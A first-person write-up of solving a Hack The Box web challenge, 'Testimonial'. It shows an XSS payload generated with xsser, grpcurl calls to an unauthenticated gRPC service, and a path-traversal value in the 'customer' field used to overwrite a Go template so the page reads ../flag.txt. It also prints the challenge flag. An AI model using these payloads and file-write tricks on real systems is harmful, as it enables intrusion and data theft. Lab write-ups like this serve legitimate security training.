Testimonial

Personal Rating: Hard

This challenge was solved together in the CTF team of three people and I had a hard time with it.

The first port shows a website

Below you can submit your testimonials.

The site is written in go.

The second port does not seem to have a website. Connecting with nc displays an @ but nothing more so far

There is no cookie for the site.

In the file client.go we have some interesting information:

We can see that some characters are blacklisted for the testimonial input and we have a gRPC API that is likely at the second port

With this command I could find an XSS payload:

python3 xsser -u 'http://94.237.63.46:32241' -g '/?testimonial=XSS&customer=sex' --Ind

%250AExpect%3A%2520%253Cscript%253Ealert%28%25222d73913dc887722cdb87445d44fa0123%2522%29%253C%2Fscript%253E

This did not work. I had a look at the source code again and wrote comments to understand it better.

We know that we have a second port with a grpc server, so we can likely make grpc calls to that. My first idea was to read the flag directly, but a friend told me that this wouldnt work as the response is hard coded:

ptypes.proto

service RickyService {
    rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}

grpc.go

return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil

But since we have the website, we can make the website show what we want by editing the website or writing a file to public/testimonials. This is what I will try.

grpcurl -plaintext 83.136.254.221:56531 list

Failed to list services: server does not support the reflection API

grpcurl -plaintext 83.136.254.221:56531 SubmitTestimonial

Error invoking method "SubmitTestimonial": given method name "SubmitTestimonial" is not in expected format: 'service/method' or 'service.method'

grpcurl -plaintext 83.136.254.221:56531 RickyService.SubmitTestimonial

Error invoking method "RickyService.SubmitTestimonial": failed to query for service descriptor "RickyService": server does not support the reflection API

I created a file poc.proto that contains the content of the servers ptype.proto

grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 list RickyService.SubmitTestimonial

Failed to list methods for service "RickyService.SubmitTestimonial": Service not found: RickyService.SubmitTestimonial

grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 list

RickyService

grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 list RickyService

RickyService.SubmitTestimonial

grpcurl -plaintext -proto ./poc.proto 83.136.254.221:56531 RickyService.SubmitTestimonial

ERROR:
Code: Unknown
Message: Name is required
grpcurl -plaintext -proto ./poc.proto -d '{"customer":"testc","testimonial":"sees"}' 83.136.254.221:56531 RickyService.SubmitTestimonial
{
"message": "Testimonial submitted successfully"
}

Nice, this worked

grpcurl -plaintext -proto ./poc.proto -d '{"customer":"public/testimonials/aua.txt","testimonial":"sees"}' 83.136.254.221:56531 RickyService.SubmitTestimonial

ERROR:
Code: Unknown
Message: open public/testimonials/public/testimonials/aua.txt: no such file or directory

The webserver has predefined directory listing, but no active listing, so changes to files are not reflected when trying to read them in the browser. This reduces the attack surface a lot. The only thing we could change that gets reflected is the index.templ. Luckily, we can execute

This function in home.go determines that the index template is reloaded each time a request, as you can see below at

return home.Index().Render(r.Context(), w)

Above you can see that the folder htbchal/view/home is imported and below the "Index" template is loaded from "home"

Since we can only edit the template with our grpc call, but not any random file, I will do so. This is useful because the template contains go code. We can edit the go code in the template to read the files in the directory above instead of in public/testimonials as it would usually do. This way we can read the flag at ../flag.txt and it is output at the website, because all files at the given directory are read and their content is written to the website with the filename as name.

Original

Edit

Since I could not send this with grpcurl, I used grpcui, which makes this way easier

Reloading the page now:

HTB{w34kly_t35t3d_t3mplate5}

Last updated